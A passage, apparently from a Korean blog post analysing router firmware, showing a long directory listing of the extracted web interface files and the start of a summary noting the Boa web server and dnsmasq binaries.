-rwxr-xr-x  1 kali kali   4042 Feb 27  2023 multi_ap_popup_device_connect.htm
-rwxr-xr-x  1 kali kali   2614 Feb 27  2023 multi_ap_popup_device_del_count.htm
-rwxr-xr-x  1 kali kali   4598 Feb 27  2023 multi_ap_popup_device_del.htm
-rwxr-xr-x  1 kali kali  16714 Feb 27  2023 multi_ap_popup_device_details.htm
-rwxr-xr-x  1 kali kali   3118 Feb 27  2023 multi_ap_popup_device_success.htm
-rwxr-xr-x  1 kali kali   6950 Dec  2  2022 multi_ap_setting_general.htm
-rwxr-xr-x  1 kali kali   5586 Dec  2  2022 multi_ap_setting_topology.htm
-rwxr-xr-x  1 kali kali  11001 Feb 27  2023 multi_ap_setting_topology_mod.htm
-rwxr-xr-x  1 kali kali  31332 Dec  2  2022 multi_ap_setting_vlan.htm
-rwxr-xr-x  1 kali kali   5672 Dec  2  2022 normal_ws.css
-rwxr-xr-x  1 kali kali    343 Dec  2  2022 nph-test.cgi
-rwxr-xr-x  1 kali kali  10473 Dec  2  2022 ntp.htm
-rwxr-xr-x  1 kali kali  24865 Dec  2  2022 parent_control.htm
-rwxr-xr-x  1 kali kali   3233 Dec  2  2022 password.htm
-rwxr-xr-x  1 kali kali   3031 Dec  2  2022 pocket_sitesurvey.htm
-rwxr-xr-x  1 kali kali   6144 Dec  2  2022 portfilter6.htm
-rwxr-xr-x  1 kali kali  11156 Jul  6  2022 portfw.htm
-rwxr-xr-x  1 kali kali   4484 Dec  2  2022 portfwlist.htm
-rwxr-xr-x  1 kali kali   2325 Dec  2  2022 portfwserlist.htm
-rwxr-xr-x  1 kali kali   1151 Dec  2  2022 reboot.htm
-rwxr-xr-x  1 kali kali  16000 Dec  2  2022 reboot_schedule.htm
-rwxr-xr-x  1 kali kali   2423 Dec  2  2022 reload.htm
-rwxr-xr-x  1 kali kali   8368 Jan 13  2023 repeater_sitesurvey.htm
-rwxr-xr-x  1 kali kali   3012 Dec  2  2022 rfw.htm
-rwxr-xr-x  1 kali kali     37 Dec  2  2022 rfw_percent.htm
-rwxr-xr-x  1 kali kali  14269 Dec  2  2022 route.htm
-rwxr-xr-x  1 kali kali   1042 Dec  2  2022 routetbl.htm
-rwxr-xr-x  1 kali kali   3218 Dec  2  2022 saveconf.htm
-rwxr-xr-x  1 kali kali   6403 Dec  2  2022 share.js
-rwxr-xr-x  1 kali kali  41734 Dec  2  2022 smart_qos.htm
-rwxr-xr-x  1 kali kali  12437 Dec  3  2022 stats.htm
-rwxr-xr-x  1 kali kali  25433 Feb 27  2023 status.htm
-rwxr-xr-x  1 kali kali   9395 Dec  2  2022 style.css
-rwxr-xr-x  1 kali kali   5399 Dec  2  2022 syslog.htm
-rwxr-xr-x  1 kali kali  21469 Dec  2  2022 tcpiplan.htm
-rwxr-xr-x  1 kali kali   9288 Dec  2  2022 tcpip_staticdhcp.htm
-rwxr-xr-x  1 kali kali  65744 Dec  2  2022 tcpipwan.htm
-rwxr-xr-x  1 kali kali    195 Dec  2  2022 test.cgi
-rwxr-xr-x  1 kali kali  11222 Feb 27  2023 title.htm
-rwxr-xr-x  1 kali kali   8607 May 29  2023 tr069config.htm
-rwxr-xr-x  1 kali kali   3035 Dec  2  2022 upload.htm
-rwxr-xr-x  1 kali kali     55 Dec  2  2022 upload_st.htm
-rwxr-xr-x  1 kali kali   8825 Dec  2  2022 urlfilter.htm
lrwxrwxrwx  1 kali kali      9 Feb 20 10:12 user.cer -&gt; /dev/null
-rwxr-xr-x  1 kali kali 162910 Feb 27  2023 util_gw.js
-rwxr-xr-x  1 kali kali  15843 Dec  2  2022 util_qos.js
-rwxr-xr-x  1 kali kali     33 Dec  2  2022 wan_status.htm
-rwxr-xr-x  1 kali kali   2048 Dec  2  2022 wirelessScan_tbl.htm
-rwxr-xr-x  1 kali kali  94699 May 29  2023 wizard.htm
-rwxr-xr-x  1 kali kali    789 Jan 13  2023 wizardset.htm
-rwxr-xr-x  1 kali kali  12428 Dec  2  2022 wlactrlGuest.htm
-rwxr-xr-x  1 kali kali  12189 Dec  2  2022 wlactrlRoot.htm
-rwxr-xr-x  1 kali kali  27373 Feb 27  2023 wladvanced.htm
-rwxr-xr-x  1 kali kali   4066 Dec  2  2022 wlan_schedule.htm
-rwxr-xr-x  1 kali kali   2445 Dec  2  2022 wlbandmode.htm
-rwxr-xr-x  1 kali kali  38489 Dec  2  2022 wlbasic.htm
-rwxr-xr-x  1 kali kali  10734 Dec  2  2022 wlsch.htm
-rwxr-xr-x  1 kali kali  50588 May 29  2023 wlsecurity_all.htm
-rwxr-xr-x  1 kali kali   9625 Dec  2  2022 wlsecurity.htm
-rwxr-xr-x  1 kali kali   5365 Dec  2  2022 wlstatbl.htm
-rwxr-xr-x  1 kali kali   1293 Dec  2  2022 wlwdstbl.htm

./web/add:
total 96
drwxrwxr-x 2 kali kali  4096 May 31  2023 .
drwxrwxr-x 8 kali kali  4096 Feb 20 10:12 ..
-rwxr-xr-x 1 kali kali  6330 Dec  2  2022 menuAd.htm
-rwxr-xr-x 1 kali kali  3964 Dec  2  2022 menuBs.htm
-rwxr-xr-x 1 kali kali 27884 Dec 12  2022 stat_net.htm
-rwxr-xr-x 1 kali kali   225 Dec  2  2022 top_empty.htm
-rwxr-xr-x 1 kali kali  2942 Dec  2  2022 top_menu_EasyMesh.htm
-rwxr-xr-x 1 kali kali  1092 Dec  2  2022 top_menu_firewall.htm
-rwxr-xr-x 1 kali kali  1134 Dec  2  2022 top_menu_nat.htm
-rwxr-xr-x 1 kali kali  2015 Dec  2  2022 top_menu_net.htm
-rwxr-xr-x 1 kali kali  2125 Dec  2  2022 top_menu_servers.htm
-rwxr-xr-x 1 kali kali  2338 Dec  2  2022 top_menu_tools.htm
-rwxr-xr-x 1 kali kali  4430 Dec  2  2022 top_menu_wifilock.htm
-rwxr-xr-x 1 kali kali  1967 Dec  2  2022 top_menu_wireless.htm
-rwxr-xr-x 1 kali kali  2711 Dec  2  2022 vpnpass.htm
-rwxr-xr-x 1 kali kali   820 Dec  2  2022 wladvancedtop.htm

./web/cgi-bin:
total 16
drwxrwxr-x 2 kali kali 4096 May 31  2023 .
drwxrwxr-x 8 kali kali 4096 Feb 20 10:12 ..
-rwxr-xr-x 1 kali kali 5996 May 31  2023 cstecgi.cgi

./web/icon:
total 372
drwxrwxr-x 2 kali kali  4096 May 31  2023 .
drwxrwxr-x 8 kali kali  4096 Feb 20 10:12 ..
-rwxr-xr-x 1 kali kali  3013 Dec  2  2022 application.png
-rwxr-xr-x 1 kali kali   225 Dec  2  2022 arrow_01.png
-rwxr-xr-x 1 kali kali   218 Dec  2  2022 arrow_02.png
-rwxr-xr-x 1 kali kali   254 Dec  2  2022 arrow_03.png
-rwxr-xr-x 1 kali kali   280 Dec  2  2022 arrow_04.png
-rwxr-xr-x 1 kali kali   276 Dec  2  2022 arrow_05.png
-rwxr-xr-x 1 kali kali   355 Dec  2  2022 arrow_06.png
-rwxr-xr-x 1 kali kali 23108 Dec  2  2022 BG.png
-rwxr-xr-x 1 kali kali    95 Dec  2  2022 btn_03.png
-rwxr-xr-x 1 kali kali   115 Dec  2  2022 btn_04.png
-rwxr-xr-x 1 kali kali  3280 Dec  2  2022 circle.png
-rwxr-xr-x 1 kali kali  2614 Dec  2  2022 cpu.png
-rwxr-xr-x 1 kali kali  3015 Dec  2  2022 devices.png
-rwxr-xr-x 1 kali kali  2467 Dec  2  2022 guest.png
-rwxr-xr-x 1 kali kali   289 Dec  2  2022 icon_01.png
-rwxr-xr-x 1 kali kali  2948 Dec  2  2022 icon_02.png
-rwxr-xr-x 1 kali kali   524 Dec  2  2022 icon_03.png
-rwxr-xr-x 1 kali kali   453 Dec  2  2022 icon_04.png
-rwxr-xr-x 1 kali kali   546 Dec  2  2022 icon_05.png
-rwxr-xr-x 1 kali kali   560 Dec  2  2022 icon_06.png
-rwxr-xr-x 1 kali kali  2727 Dec  2  2022 icon_07.png
-rwxr-xr-x 1 kali kali  3328 Dec  2  2022 icon_08.png
-rwxr-xr-x 1 kali kali  2906 Dec  2  2022 icon_09.png
-rwxr-xr-x 1 kali kali  3494 Dec  2  2022 icon_10.png
-rwxr-xr-x 1 kali kali  3021 Dec  2  2022 icon_11.png
-rwxr-xr-x 1 kali kali  3581 Dec  2  2022 icon_12.png
-rwxr-xr-x 1 kali kali  3699 Dec  2  2022 icon_13.png
-rwxr-xr-x 1 kali kali  3725 Dec  2  2022 icon_14.png
-rwxr-xr-x 1 kali kali   163 Dec  2  2022 icon_15.png
-rwxr-xr-x 1 kali kali  2119 Dec  2  2022 icon_application_01.png
-rwxr-xr-x 1 kali kali  2359 Dec  2  2022 icon_application_02.png
-rwxr-xr-x 1 kali kali  1904 Dec  2  2022 icon_application_03.png
-rwxr-xr-x 1 kali kali  2303 Dec  2  2022 icon_application_04.png
-rwxr-xr-x 1 kali kali  2136 Dec  2  2022 icon_application_05.png
-rwxr-xr-x 1 kali kali   548 Dec  2  2022 icon_down_.png
-rwxr-xr-x 1 kali kali   474 Dec  2  2022 icon_select.png
-rwxr-xr-x 1 kali kali   893 Dec  2  2022 icon_signal_01.png
-rwxr-xr-x 1 kali kali   637 Dec  2  2022 icon_signal_02.png
-rwxr-xr-x 1 kali kali   406 Dec  2  2022 icon_signal_03.png
-rwxr-xr-x 1 kali kali  2104 Dec  2  2022 icon_system_01.png
-rwxr-xr-x 1 kali kali  2529 Dec  2  2022 icon_system_02.png
-rwxr-xr-x 1 kali kali  2445 Dec  2  2022 icon_system_03.png
-rwxr-xr-x 1 kali kali  2750 Dec  2  2022 icon_system_04.png
-rwxr-xr-x 1 kali kali  1150 Dec  2  2022 icon_tool_01.png
-rwxr-xr-x 1 kali kali  1713 Dec  2  2022 icon_tool_02.png
-rwxr-xr-x 1 kali kali  1555 Dec  2  2022 icon_tool_03.png
-rwxr-xr-x 1 kali kali  1132 Dec  2  2022 icon_tool_04.png
-rwxr-xr-x 1 kali kali  1446 Dec  2  2022 icon_tool_05.png
-rwxr-xr-x 1 kali kali  1251 Dec  2  2022 icon_tool_06.png
-rwxr-xr-x 1 kali kali  1502 Dec  2  2022 icon_tool_07.png
-rwxr-xr-x 1 kali kali  1289 Dec  2  2022 icon_tool_08.png
-rwxr-xr-x 1 kali kali  3582 Dec  2  2022 icon_up.png
-rwxr-xr-x 1 kali kali   542 Dec  2  2022 icon_up_.png
-rwxr-xr-x 1 kali kali  5231 Dec  2  2022 logo_01.png
-rwxr-xr-x 1 kali kali  2425 Dec  2  2022 logo_02.png
-rwxr-xr-x 1 kali kali  1731 Dec  2  2022 mesh.png
-rwxr-xr-x 1 kali kali  3424 Dec  2  2022 mode.png
-rwxr-xr-x 1 kali kali  4429 Dec  2  2022 online.png
-rwxr-xr-x 1 kali kali  3832 Dec  2  2022 parental.png
-rwxr-xr-x 1 kali kali  3285 Dec  2  2022 pc.png
-rwxr-xr-x 1 kali kali   112 Dec  2  2022 +.png
-rwxr-xr-x 1 kali kali    84 Dec  2  2022 -.png
-rwxr-xr-x 1 kali kali  2930 Dec  2  2022 QOS_01.png
-rwxr-xr-x 1 kali kali  2430 Dec  2  2022 QOS_02.png
-rwxr-xr-x 1 kali kali  4334 Dec  2  2022 qos.png
-rwxr-xr-x 1 kali kali   555 Dec  2  2022 ram.png
-rwxr-xr-x 1 kali kali   680 Dec  2  2022 router.png
-rwxr-xr-x 1 kali kali   243 Dec  2  2022 selb.png
-rwxr-xr-x 1 kali kali   385 Dec  2  2022 select.png
-rwxr-xr-x 1 kali kali   218 Dec  2  2022 sell.png
-rwxr-xr-x 1 kali kali   460 Dec  2  2022 speed_down2.png
-rwxr-xr-x 1 kali kali  1919 Dec  2  2022 speed_up2.png
-rwxr-xr-x 1 kali kali  2922 Dec  2  2022 tools.png
-rwxr-xr-x 1 kali kali  4222 Dec  2  2022 url.png
-rwxr-xr-x 1 kali kali  1922 Dec  2  2022 user.png
-rwxr-xr-x 1 kali kali 13455 Nov  7  2022 vpn.png
-rwxr-xr-x 1 kali kali  4014 Dec  2  2022 wifi_schedule.png
-rwxr-xr-x 1 kali kali  3461 Dec  2  2022 wireless.png
-rwxr-xr-x 1 kali kali  1503 Dec  2  2022 wizard.png

./web/img:
total 528
drwxrwxr-x 8 kali kali   4096 May 31  2023 .
drwxrwxr-x 8 kali kali   4096 Feb 20 10:12 ..
-rwxr-xr-x 1 kali kali   1411 Dec  2  2022 added.png
-rwxr-xr-x 1 kali kali    489 Dec  2  2022 add.png
-rwxr-xr-x 1 kali kali    418 Dec  2  2022 checkbox_on.png
-rwxr-xr-x 1 kali kali    277 Dec  2  2022 checkbox.png
-rwxr-xr-x 1 kali kali    265 Dec  2  2022 check_dis.png
-rwxr-xr-x 1 kali kali    350 Dec  2  2022 check_on_dis.png
-rwxr-xr-x 1 kali kali    367 Dec  2  2022 delete.png
-rwxr-xr-x 1 kali kali    398 Dec  2  2022 del.png
-rwxr-xr-x 1 kali kali    490 Dec  2  2022 download.png
-rwxr-xr-x 1 kali kali    635 Dec  2  2022 drop.png
-rwxr-xr-x 1 kali kali   1435 Dec  2  2022 edited.png
-rwxr-xr-x 1 kali kali    520 Dec  2  2022 edit.png
-rwxr-xr-x 1 kali kali    561 Dec  2  2022 err.png
-rwxr-xr-x 1 kali kali    775 Dec  2  2022 Gnet.png
-rwxr-xr-x 1 kali kali    860 Dec  2  2022 guest.png
-rwxr-xr-x 1 kali kali    833 Dec  2  2022 help.png
-rwxr-xr-x 1 kali kali   1106 Dec  2  2022 icon_point.png
-rwxr-xr-x 1 kali kali   3146 Dec  2  2022 img_add.png
-rwxr-xr-x 1 kali kali   3131 Dec  2  2022 img_clock.png
-rwxr-xr-x 1 kali kali   2954 Dec  2  2022 img_del1.png
-rwxr-xr-x 1 kali kali   3061 Dec  2  2022 img_del2.png
-rwxr-xr-x 1 kali kali   1881 Dec  2  2022 imgdel.png
-rwxr-xr-x 1 kali kali   3219 Dec  2  2022 img_dis.png
-rwxr-xr-x 1 kali kali   3049 Dec  2  2022 img_edit.png
-rwxr-xr-x 1 kali kali   3143 Dec  2  2022 img_en.png
-rwxr-xr-x 1 kali kali    668 Dec  2  2022 img_left.png
-rwxr-xr-x 1 kali kali   1961 Dec  2  2022 imgpc.png
-rwxr-xr-x 1 kali kali    693 Dec  2  2022 img_right.png
-rwxr-xr-x 1 kali kali    722 Dec  2  2022 key.png
-rwxr-xr-x 1 kali kali    486 Dec  2  2022 link.png
-rwxr-xr-x 1 kali kali   2248 Dec  2  2022 load.gif
-rwxr-xr-x 1 kali kali   6199 Dec  2  2022 login_ie.jpg
-rwxr-xr-x 1 kali kali  22089 Dec  2  2022 login.png
-rwxr-xr-x 1 kali kali   3904 Dec  2  2022 logo.png
drwxrwxr-x 2 kali kali   4096 May 31  2023 map
drwxrwxr-x 2 kali kali   4096 May 31  2023 menu
drwxrwxr-x 2 kali kali   4096 May 31  2023 menubasic
-rwxr-xr-x 1 kali kali    689 Dec  2  2022 Mesh1.png
-rwxr-xr-x 1 kali kali   4174 Dec  2  2022 Mesh2.png
-rwxr-xr-x 1 kali kali 107812 Dec  2  2022 Meshwps.png
-rwxr-xr-x 1 kali kali    811 Dec  2  2022 net.png
-rwxr-xr-x 1 kali kali    674 Dec  2  2022 ok.png
-rwxr-xr-x 1 kali kali    454 Dec  2  2022 port.png
-rwxr-xr-x 1 kali kali    450 Dec  2  2022 radio_dis.png
-rwxr-xr-x 1 kali kali    549 Dec  2  2022 radio_on_dis.png
-rwxr-xr-x 1 kali kali    519 Dec  2  2022 radio_on.png
-rwxr-xr-x 1 kali kali    478 Dec  2  2022 radio.png
-rwxr-xr-x 1 kali kali    742 Dec  2  2022 refresh.png
drwxrwxr-x 2 kali kali   4096 May 31  2023 rpt
-rwxr-xr-x 1 kali kali   1018 Dec  2  2022 sel.png
drwxrwxr-x 2 kali kali   4096 May 31  2023 status
-rwxr-xr-x 1 kali kali    750 Dec  2  2022 status.png
-rwxr-xr-x 1 kali kali   1002 Dec  2  2022 switch_dis.png
-rwxr-xr-x 1 kali kali    581 Dec  2  2022 switch_on.png
-rwxr-xr-x 1 kali kali    582 Dec  2  2022 switch.png
-rwxr-xr-x 1 kali kali    660 Dec  2  2022 system.png
-rwxr-xr-x 1 kali kali    670 Dec  2  2022 time.png
-rwxr-xr-x 1 kali kali    490 Dec  2  2022 tips.png
drwxrwxr-x 2 kali kali   4096 May 31  2023 topmenu
-rwxr-xr-x 1 kali kali    316 Dec  2  2022 trash.png
-rwxr-xr-x 1 kali kali    957 Dec  2  2022 u168.png
-rwxr-xr-x 1 kali kali   1058 Dec  2  2022 u170.png
-rwxr-xr-x 1 kali kali  48017 Dec  2  2022 u1860.png
-rwxr-xr-x 1 kali kali   2574 Dec  2  2022 u186.png
-rwxr-xr-x 1 kali kali   2112 Dec  2  2022 u187.png
-rwxr-xr-x 1 kali kali    165 Dec  2  2022 u188.png
-rwxr-xr-x 1 kali kali   4594 Dec  2  2022 u218.png
-rwxr-xr-x 1 kali kali    159 Dec  2  2022 u219.png
-rwxr-xr-x 1 kali kali   8149 Dec  2  2022 u4390.png
-rwxr-xr-x 1 kali kali   4243 Dec  2  2022 u439.png
-rwxr-xr-x 1 kali kali   1635 Dec  2  2022 u4410.png
-rwxr-xr-x 1 kali kali    709 Dec  2  2022 u441.png
-rwxr-xr-x 1 kali kali   1731 Dec  2  2022 u4500.png
-rwxr-xr-x 1 kali kali    726 Dec  2  2022 u450.png
-rwxr-xr-x 1 kali kali   1374 Dec  2  2022 u491.png
-rwxr-xr-x 1 kali kali    732 Dec  2  2022 u493.png
-rwxr-xr-x 1 kali kali    472 Dec  2  2022 u777.png
-rwxr-xr-x 1 kali kali   1391 Dec  2  2022 u779.png
-rwxr-xr-x 1 kali kali   1351 Dec  2  2022 u780.png
-rwxr-xr-x 1 kali kali    639 Dec  2  2022 unbell.png
-rwxr-xr-x 1 kali kali    625 Dec  2  2022 unlink.png
-rwxr-xr-x 1 kali kali    436 Dec  2  2022 upload.png
-rwxr-xr-x 1 kali kali    646 Dec  2  2022 wifi.png

./web/img/map:
total 112
drwxrwxr-x 2 kali kali  4096 May 31  2023 .
drwxrwxr-x 8 kali kali  4096 May 31  2023 ..
-rwxr-xr-x 1 kali kali  2470 Dec  2  2022 clients_on.png
-rwxr-xr-x 1 kali kali  2608 Dec  2  2022 clients.png
-rwxr-xr-x 1 kali kali  1859 Dec  2  2022 connect.png
-rwxr-xr-x 1 kali kali  1769 Dec  2  2022 disconnect.png
-rwxr-xr-x 1 kali kali  2892 Dec  2  2022 down.png
-rwxr-xr-x 1 kali kali   448 Dec  2  2022 gt_ph.png
-rwxr-xr-x 1 kali kali   723 Dec  2  2022 lan.png
-rwxr-xr-x 1 kali kali  8865 Dec  2  2022 net_on.png
-rwxr-xr-x 1 kali kali 10665 Dec  2  2022 net.png
-rwxr-xr-x 1 kali kali   191 Dec  2  2022 point-off.png
-rwxr-xr-x 1 kali kali   217 Dec  2  2022 point-on.png
-rwxr-xr-x 1 kali kali   662 Dec  2  2022 port.png
-rwxr-xr-x 1 kali kali  4925 Dec  2  2022 router_on.png
-rwxr-xr-x 1 kali kali  5680 Dec  2  2022 router.png
-rwxr-xr-x 1 kali kali  2869 Dec  2  2022 up.png
-rwxr-xr-x 1 kali kali   676 Dec  2  2022 wan.png
-rwxr-xr-x 1 kali kali  1448 Dec  2  2022 wifi2g_off.png
-rwxr-xr-x 1 kali kali  1603 Dec  2  2022 wifi2g.png
-rwxr-xr-x 1 kali kali  1318 Dec  2  2022 wifi5g_off.png
-rwxr-xr-x 1 kali kali  1440 Dec  2  2022 wifi5g.png

./web/img/menu:
total 104
drwxrwxr-x 2 kali kali 4096 May 31  2023 .
drwxrwxr-x 8 kali kali 4096 May 31  2023 ..
-rwxr-xr-x 1 kali kali  910 Dec  2  2022 lock_n.png
-rwxr-xr-x 1 kali kali  809 Dec  2  2022 lock_o.png
-rwxr-xr-x 1 kali kali 1016 Dec  2  2022 nat_n.png
-rwxr-xr-x 1 kali kali  660 Dec  2  2022 nat_o.png
-rwxr-xr-x 1 kali kali 1395 Dec  2  2022 net_n.png
-rwxr-xr-x 1 kali kali  938 Dec  2  2022 net_o.png
-rwxr-xr-x 1 kali kali 1218 Dec  2  2022 parental_n.png
-rwxr-xr-x 1 kali kali  752 Dec  2  2022 parental_o.png
-rwxr-xr-x 1 kali kali 1399 Dec  2  2022 qos_n.png
-rwxr-xr-x 1 kali kali  867 Dec  2  2022 qos_o.png
-rwxr-xr-x 1 kali kali 1050 Dec  2  2022 security_n.png
-rwxr-xr-x 1 kali kali  673 Dec  2  2022 security_o.png
-rwxr-xr-x 1 kali kali 1071 Dec  2  2022 service_n.png
-rwxr-xr-x 1 kali kali 1071 Dec  2  2022 service_o.png
-rwxr-xr-x 1 kali kali 1055 Dec  2  2022 status_n.png
-rwxr-xr-x 1 kali kali  720 Dec  2  2022 status_o.png
-rwxr-xr-x 1 kali kali  752 Dec  2  2022 storage_n.png
-rwxr-xr-x 1 kali kali  565 Dec  2  2022 storage_o.png
-rwxr-xr-x 1 kali kali  918 Dec  2  2022 tools_n.png
-rwxr-xr-x 1 kali kali  575 Dec  2  2022 tools_o.png
-rwxr-xr-x 1 kali kali  887 Dec  2  2022 vpn_n.png
-rwxr-xr-x 1 kali kali  539 Dec  2  2022 vpn_o.png
-rwxr-xr-x 1 kali kali 1175 Dec  2  2022 wifi_n.png
-rwxr-xr-x 1 kali kali  729 Dec  2  2022 wifi_o.png

./web/img/menubasic:
total 60
drwxrwxr-x 2 kali kali 4096 May 31  2023 .
drwxrwxr-x 8 kali kali 4096 May 31  2023 ..
-rwxr-xr-x 1 kali kali 1873 Dec  2  2022 guest_n.png
-rwxr-xr-x 1 kali kali 1173 Dec  2  2022 guest_o.png
-rwxr-xr-x 1 kali kali 2009 Dec  2  2022 net_n.png
-rwxr-xr-x 1 kali kali 1356 Dec  2  2022 net_o.png
-rwxr-xr-x 1 kali kali 1598 Dec  2  2022 parental_n.png
-rwxr-xr-x 1 kali kali 1041 Dec  2  2022 parental_o.png
-rwxr-xr-x 1 kali kali 1954 Dec  2  2022 qos_n.png
-rwxr-xr-x 1 kali kali 1199 Dec  2  2022 qos_o.png
-rwxr-xr-x 1 kali kali 1134 Dec  2  2022 status_n.png
-rwxr-xr-x 1 kali kali  794 Dec  2  2022 status_o.png
-rwxr-xr-x 1 kali kali  873 Dec  2  2022 url_o.png
-rwxr-xr-x 1 kali kali 1372 Dec  2  2022 wifi_n.png
-rwxr-xr-x 1 kali kali  827 Dec  2  2022 wifi_o.png

./web/img/rpt:
total 36
drwxrwxr-x 2 kali kali 4096 May 31  2023 .
drwxrwxr-x 8 kali kali 4096 May 31  2023 ..
-rwxr-xr-x 1 kali kali  373 Dec  2  2022 lock.png
-rwxr-xr-x 1 kali kali 1501 Dec  2  2022 signal_1.png
-rwxr-xr-x 1 kali kali 1736 Dec  2  2022 signal_2.png
-rwxr-xr-x 1 kali kali 1854 Dec  2  2022 signal_3.png
-rwxr-xr-x 1 kali kali 1926 Dec  2  2022 signal_4.png
-rwxr-xr-x 1 kali kali  320 Dec  2  2022 sign_right.png
-rwxr-xr-x 1 kali kali  336 Dec  2  2022 unlock.png

./web/img/status:
total 32
drwxrwxr-x 2 kali kali 4096 May 31  2023 .
drwxrwxr-x 8 kali kali 4096 May 31  2023 ..
-rwxr-xr-x 1 kali kali  705 Dec  2  2022 CPU1.png
-rwxr-xr-x 1 kali kali 1182 Dec  2  2022 CPU.png
-rwxr-xr-x 1 kali kali  490 Dec  2  2022 down.png
-rwxr-xr-x 1 kali kali  351 Dec  2  2022 RAM1.png
-rwxr-xr-x 1 kali kali  524 Dec  2  2022 RAM.png
-rwxr-xr-x 1 kali kali  436 Dec  2  2022 up.png

./web/img/topmenu:
total 76
drwxrwxr-x 2 kali kali 4096 May 31  2023 .
drwxrwxr-x 8 kali kali 4096 May 31  2023 ..
-rwxr-xr-x 1 kali kali  793 Dec  2  2022 advance_n.png
-rwxr-xr-x 1 kali kali  587 Dec  2  2022 advance_o.png
-rwxr-xr-x 1 kali kali  855 Dec  2  2022 basic_n.png
-rwxr-xr-x 1 kali kali  457 Dec  2  2022 basic_o.png
-rwxr-xr-x 1 kali kali 1609 Dec  2  2022 imgmesh_n.png
-rwxr-xr-x 1 kali kali 1326 Dec  2  2022 imgmesh_o.png
-rwxr-xr-x 1 kali kali  446 Dec  2  2022 led_n.png
-rwxr-xr-x 1 kali kali  553 Dec  2  2022 led_o_old.png
-rwxr-xr-x 1 kali kali  754 Dec  2  2022 led_o.png
-rwxr-xr-x 1 kali kali  476 Dec  2  2022 logout_n.png
-rwxr-xr-x 1 kali kali  363 Dec  2  2022 logout_o.png
-rwxr-xr-x 1 kali kali  741 Dec  2  2022 reboot_n.png
-rwxr-xr-x 1 kali kali  530 Dec  2  2022 reboot_o.png
-rwxr-xr-x 1 kali kali 1134 Dec  2  2022 wechat_n.png
-rwxr-xr-x 1 kali kali  814 Dec  2  2022 wechat_o.png
-rwxr-xr-x 1 kali kali 1117 Dec  2  2022 wizard_n.png
-rwxr-xr-x 1 kali kali  681 Dec  2  2022 wizard_o.png

./web/js:
total 796
drwxrwxr-x 2 kali kali   4096 May 31  2023 .
drwxrwxr-x 8 kali kali   4096 Feb 20 10:12 ..
-rwxr-xr-x 1 kali kali  24635 Dec  2  2022 jcommon.js
-rwxr-xr-x 1 kali kali  89501 Dec  2  2022 jquery.min.js
-rwxr-xr-x 1 kali kali  93220 Jan 13  2023 language_en.js
-rwxr-xr-x 1 kali kali 144849 Jan 13  2023 language_ru.js
-rwxr-xr-x 1 kali kali  87309 Jan 13  2023 language_sc.js
-rwxr-xr-x 1 kali kali  87761 Jan 13  2023 language_tc.js
-rwxr-xr-x 1 kali kali 148291 Jan 13  2023 language_ua.js
-rwxr-xr-x 1 kali kali 111455 Jan 13  2023 language_vn.js

./web/mobile:
total 212
drwxrwxr-x 4 kali kali  4096 May 31  2023 .
drwxrwxr-x 8 kali kali  4096 Feb 20 10:12 ..
-rwxr-xr-x 1 kali kali  7941 Dec  2  2022 ac_table.asp
-rwxr-xr-x 1 kali kali  3018 Jan 13  2023 app.asp
drwxrwxr-x 2 kali kali  4096 May 31  2023 css
-rwxr-xr-x 1 kali kali   770 Dec 28  2022 easyMesh_setup.asp
-rwxr-xr-x 1 kali kali   784 Feb 27  2023 easyMesh_status.asp
-rwxr-xr-x 1 kali kali  2932 Dec  2  2022 forgot.asp
-rwxr-xr-x 1 kali kali   789 Dec  2  2022 guestnet.asp
-rwxr-xr-x 1 kali kali  7760 Jan 13  2023 home.asp
-rwxr-xr-x 1 kali kali 12146 Dec  2  2022 internet.asp
drwxrwxr-x 2 kali kali  4096 May 31  2023 js
-rwxr-xr-x 1 kali kali  6300 Dec  2  2022 login.asp
-rwxr-xr-x 1 kali kali   828 Dec  2  2022 logout.asp
-rwxr-xr-x 1 kali kali  1034 Dec  2  2022 ntp.asp
-rwxr-xr-x 1 kali kali 17638 Dec  2  2022 parentcontrol.asp
-rwxr-xr-x 1 kali kali   908 Dec  2  2022 password.asp
-rwxr-xr-x 1 kali kali  1275 Dec  2  2022 reboot.asp
-rwxr-xr-x 1 kali kali  1178 Dec  2  2022 reset.asp
-rwxr-xr-x 1 kali kali   823 Dec  2  2022 rfw.asp
-rwxr-xr-x 1 kali kali  4693 Dec  2  2022 setlg.asp
-rwxr-xr-x 1 kali kali  1042 Dec  2  2022 smartqos.asp
-rwxr-xr-x 1 kali kali  8470 Dec  2  2022 stat.asp
-rwxr-xr-x 1 kali kali   598 Dec  2  2022 success.asp
-rwxr-xr-x 1 kali kali  3557 Jan 13  2023 sysmode.asp
-rwxr-xr-x 1 kali kali  4678 Dec  2  2022 tools.asp
-rwxr-xr-x 1 kali kali   996 Dec  2  2022 urlfilter.asp
-rwxr-xr-x 1 kali kali  1080 Dec  2  2022 usbshare.asp
-rwxr-xr-x 1 kali kali   989 Dec  2  2022 vpn.asp
-rwxr-xr-x 1 kali kali   798 Dec  2  2022 wan.asp
-rwxr-xr-x 1 kali kali 11204 Dec  2  2022 wifi.asp
-rwxr-xr-x 1 kali kali  2482 Dec  2  2022 wifische.asp
-rwxr-xr-x 1 kali kali  4670 Dec  2  2022 wifiSignal.asp
-rwxr-xr-x 1 kali kali  1463 Dec  2  2022 wizard.asp
-rwxr-xr-x 1 kali kali  1242 Dec  2  2022 wlanlock.asp
-rwxr-xr-x 1 kali kali   803 Dec  2  2022 wlbasic.asp
-rwxr-xr-x 1 kali kali   994 Dec  2  2022 wlsch.asp

./web/mobile/css:
total 16
drwxrwxr-x 2 kali kali 4096 May 31  2023 .
drwxrwxr-x 4 kali kali 4096 May 31  2023 ..
-rwxr-xr-x 1 kali kali 6868 Jan 13  2023 csstyle.css

./web/mobile/js:
total 64
drwxrwxr-x 2 kali kali 4096 May 31  2023 .
drwxrwxr-x 4 kali kali 4096 May 31  2023 ..
-rwxr-xr-x 1 kali kali 5972 Dec  2  2022 language_en.js
-rwxr-xr-x 1 kali kali 8993 Dec  2  2022 language_ru.js
-rwxr-xr-x 1 kali kali 5827 Dec  2  2022 language_sc.js
-rwxr-xr-x 1 kali kali 5860 Dec  2  2022 language_tc.js
-rwxr-xr-x 1 kali kali 8590 Dec  2  2022 language_ua.js
-rwxr-xr-x 1 kali kali 7087 Dec  2  2022 language_vn.js</code></pre><h2 id="주안점-정리">주안점 정리</h2>
<h3 id="핵심-실행-파일--서비스">핵심 실행 파일 / 서비스</h3>
<ul>
<li><code>/bin/boa</code>: Boa 웹서버 실행 파일 (보안 취약점이 있을 가능성 높음)</li>
<li><code>/bin/dnsmasq</code>: DNS/DHCP 서비스 실행</li>
